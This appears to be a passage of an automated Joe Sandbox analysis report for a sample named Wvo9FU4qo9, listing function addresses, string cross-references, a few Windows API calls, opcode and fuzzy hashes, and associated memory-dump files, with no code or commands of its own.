Opcode ID: f4266d5e2521aea00140f602856909e3c0cfd582c9406f6ffbfd23d8539f4df2
Instruction ID: f49abebba7f5e4ba64d399b4731a1d70ccb3b35d0f29e8934efbcd7c58c54f9e
Opcode Fuzzy Hash: f4266d5e2521aea00140f602856909e3c0cfd582c9406f6ffbfd23d8539f4df2
Instruction Fuzzy Hash: 6AB217F360C2049FE304AE2DEC8567ABBE9EFD4720F1A853DE6C4C7744EA3558058696

Function 0067410C Relevance: 7.8, Strings: 5, Instructions: 1599COMMON

Download Yara Rule

Strings

;wo, xrefs: 006748C0
cgF, xrefs: 00675159
P>Bk, xrefs: 00675104
8/wg, xrefs: 00674F4A
P>Bk, xrefs: 006750F8

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: 8/wg$;wo$P>Bk$P>Bk$cgF
API String ID: 0-1626097042
Opcode ID: 0f1e1d6f79626d7d2cf6fd07f8f29f21f6acf2e607e428a6a48c78dc960e1074
Instruction ID: c2468ceec779d21128b389fc4a360a9dbe5430d0919b7a7ed393f8e8918b68a3
Opcode Fuzzy Hash: 0f1e1d6f79626d7d2cf6fd07f8f29f21f6acf2e607e428a6a48c78dc960e1074
Instruction Fuzzy Hash: E4B2E7F350C204AFE304AF2DEC8567AFBE9EF94720F1A492DE6C587744EA3558018697

Function 004D81CC Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 593COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 004D84BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004D85B4

Strings

_^]\, xrefs: 004D8A15
LF7Y, xrefs: 004D8951

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: f16106e26305662c870047e4c11b5050451884f9714557b34ed2688c7b1bd545
Instruction ID: 9fa43789cc1bf3361fbc258c8656f32bc4c9393be502b1afe9fb7fd569defc3a
Opcode Fuzzy Hash: f16106e26305662c870047e4c11b5050451884f9714557b34ed2688c7b1bd545
Instruction Fuzzy Hash: DF220271908341CFD3248F28D89072FB7E1BF85310F1A4A6EE599573A1D7399921CB5A

Function 004D83D8 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 542COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 004D84BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004D85B4

Strings

_^]\, xrefs: 004D8A15
LF7Y, xrefs: 004D8951

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: ed6161eab0563a9d02224b88bcb97521bba9511f791a8b930865e5afceef3a29
Instruction ID: 168268c8b130215701aeeabde79ecaf79d3ba1751dae92b9505deb404f7ce04a
Opcode Fuzzy Hash: ed6161eab0563a9d02224b88bcb97521bba9511f791a8b930865e5afceef3a29
Instruction Fuzzy Hash: C2120271908341CFD3248F28D89072BBBE1FF89310F1A4A6EE599573A1D739D921CB5A

Function 004D24E0 Relevance: 6.6, Strings: 5, Instructions: 304COMMON

Download Yara Rule

Strings

.[TU, xrefs: 004D2538
"_,Y, xrefs: 004D2530
pCj], xrefs: 004D2528
=K0E, xrefs: 004D2544
;GsA, xrefs: 004D2520

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: "_,Y$.[TU$;GsA$=K0E$pCj]
API String ID: 0-1171452581
Opcode ID: c7b4f03a1490b4515a6d99c370f26c5bf8553762c61679378c6ac7631652807f
Instruction ID: 6a11ff257a7ae61cc1930e1880d6be914085eb3d7fd985172f80ca45d760dc4d
Opcode Fuzzy Hash: c7b4f03a1490b4515a6d99c370f26c5bf8553762c61679378c6ac7631652807f
Instruction Fuzzy Hash: 519106716043009BC7209F25C8A1B67B7F5EF95314F14851EF9898B391E3B9D906C76A

Function 004C8169 Relevance: 6.5, Strings: 5, Instructions: 299COMMON

Download Yara Rule

Strings

^`/4, xrefs: 004C81E1
SP, xrefs: 004C8396
gfff, xrefs: 004C8458
2h?n, xrefs: 004C83A0
7, xrefs: 004C8419

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: 2h?n$7$SP$^`/4$gfff
API String ID: 0-3257051659
Opcode ID: ea7603e9954b579c8f5ca1b7196b5920b1c6741b930516f6c1e72f40eb6db326
Instruction ID: 9b4150293ab6c07527985298b34b6520c4c3ddb16d407adcff089a8ef51f3bd3
Opcode Fuzzy Hash: ea7603e9954b579c8f5ca1b7196b5920b1c6741b930516f6c1e72f40eb6db326
Instruction Fuzzy Hash: 6BA139B6A143504BD354CF28C851BAFB7E2FBC4318F598A3ED885D7391DB3898028786

Function 004D90D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004D9170

Strings

M/(, xrefs: 004D919E
M/(, xrefs: 004D913D

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M/($M/(
API String ID: 237503144-1710806632
Opcode ID: 2516eb9db4dd368ad7440dc688c878f9b26e3dfc9ae4e77098cdb64309e5c2e7
Instruction ID: 60cd96c85ff199794d8d0ba7f0688deda210036984df20b4b273e45ab8230a0d
Opcode Fuzzy Hash: 2516eb9db4dd368ad7440dc688c878f9b26e3dfc9ae4e77098cdb64309e5c2e7
Instruction Fuzzy Hash: 3621237165C3515FE714CE34988179FB7AAEBC2700F01892DE0D1EB2C5D679880BC756

Function 004DA5B6 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

VN, xrefs: 004DA5C6
i, xrefs: 004DA527
VN, xrefs: 004DA520
i, xrefs: 004DA5CD

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: VN$VN$i$i
API String ID: 0-1885346908
Opcode ID: f2560a5eb87e48c54c403f4c235dd9b7370a68364d9f3f272869781b585ee5e7
Instruction ID: 10c4e16cde2a8229b22023225b0a9411c7eef4398ebb566eabdad7370b8d1c18
Opcode Fuzzy Hash: f2560a5eb87e48c54c403f4c235dd9b7370a68364d9f3f272869781b585ee5e7
Instruction Fuzzy Hash: 0421C6211493818AD3058E7590602A7BBE3ABC6718F28475FD0F15B391E63BC91A475B

Function 004DA0CA Relevance: 4.1, Strings: 3, Instructions: 336COMMON

Download Yara Rule

Strings

<\hX, xrefs: 004DA236
_^]\, xrefs: 004DA49C, 004DA188
.txt, xrefs: 004DA371

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: .txt$<\hX$_^]\
API String ID: 0-3117400391
Opcode ID: cf511892bb2bd0c09cbdcde9e88e10e499cd0c8da0a94100af669d7c332cb0cb
Instruction ID: 8296b9bc9c026369fa8232c4a90d6bfed3422d76a9dd8d733c51ef1eb805932e
Opcode Fuzzy Hash: cf511892bb2bd0c09cbdcde9e88e10e499cd0c8da0a94100af669d7c332cb0cb
Instruction Fuzzy Hash: AEC1227060C380DFD7049F28D89167BBBE2AF85314F088A6EF495473A2D3399965CB1B

Function 0062E1D7 Relevance: 3.0, Strings: 2, Instructions: 544COMMON

Download Yara Rule

Strings

E1~, xrefs: 0062E936
Du3, xrefs: 0062E6D9

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: E1~$Du3
API String ID: 0-3506391311
Opcode ID: 6a53589bed325d13f7f4f64cd5056a0aa222cbd296145650c8f2159b50128fda
Instruction ID: 120626c334b1dcfaa711196cd8131591753d1ffce622f4cfbea24f1dd3f804ba
Opcode Fuzzy Hash: 6a53589bed325d13f7f4f64cd5056a0aa222cbd296145650c8f2159b50128fda
Instruction Fuzzy Hash: 3602BEF3E146204BF3544979DC88366B696EB94324F2F823C8E88A77C5D97E5D0A82C5

Function 004B4270 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 004B42EB
IEND, xrefs: 004B4661

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: 5d053e1c2dc32f8f6f093c2fcd6dd459614ed08dbdef058ff03641377011556f
Instruction ID: 426ede532bd93513a2037045d121694950eed83d7e36f6791d55fdafbbafd7b6
Opcode Fuzzy Hash: 5d053e1c2dc32f8f6f093c2fcd6dd459614ed08dbdef058ff03641377011556f
Instruction Fuzzy Hash: EED1B1716083449FD720CF14D84579FBBE4ABD4308F14492EF9999B382D779E908CBAA

Function 005702BA Relevance: 1.7, Strings: 1, Instructions: 411COMMON

Download Yara Rule

Strings

'gw], xrefs: 005707B1

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: 'gw]
API String ID: 0-614291270
Opcode ID: 306d8e24b1785f397276625f10148914e08b72813cc0696d0963cb66ca254444
Instruction ID: c8b969dcc79cae9bbc60a561eb9a259a91472654ad40c250da621ea987633e05
Opcode Fuzzy Hash: 306d8e24b1785f397276625f10148914e08b72813cc0696d0963cb66ca254444
Instruction Fuzzy Hash: CBD1D1F3F142144BF3045D29DC843B6B796EB94320F2B823DDA889B3C4E97A6D098385

Function 004DD17D Relevance: 1.7, APIs: 1, Instructions: 152COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(1A11171A), ref: 004DD2A4

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 596503550d2c77a54c223360fc12f5cf8577b3ca7880529a162d702020de7cbd
Instruction ID: 169726e1dc1d6e7737794dfb6ca1720d3168c0369cf60c8febe4c4b56479c175
Opcode Fuzzy Hash: 596503550d2c77a54c223360fc12f5cf8577b3ca7880529a162d702020de7cbd
Instruction Fuzzy Hash: 2841F3746043818BE3158B34C9A0B63BFE0EF53318F28868DE5D64B393D6299806C759

Function 004DB170 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 004DB458

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 2a481a20cd818ae86bd77ddd76c28e78242e6649cf267746c47876947a36422a
Instruction ID: f7f44adec80436a907c8afeb64695509e61ab7fea45106037b3559c2f2103625
Opcode Fuzzy Hash: 2a481a20cd818ae86bd77ddd76c28e78242e6649cf267746c47876947a36422a
Instruction Fuzzy Hash: B7C1F672A04304ABD7258E25D4B076BB7D5EB85314F1A8A2FE89587382E738D844C7DA

Function 005D0436 Relevance: 1.5, Strings: 1, Instructions: 291COMMON

Download Yara Rule

Strings

B=y&, xrefs: 005D0436

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
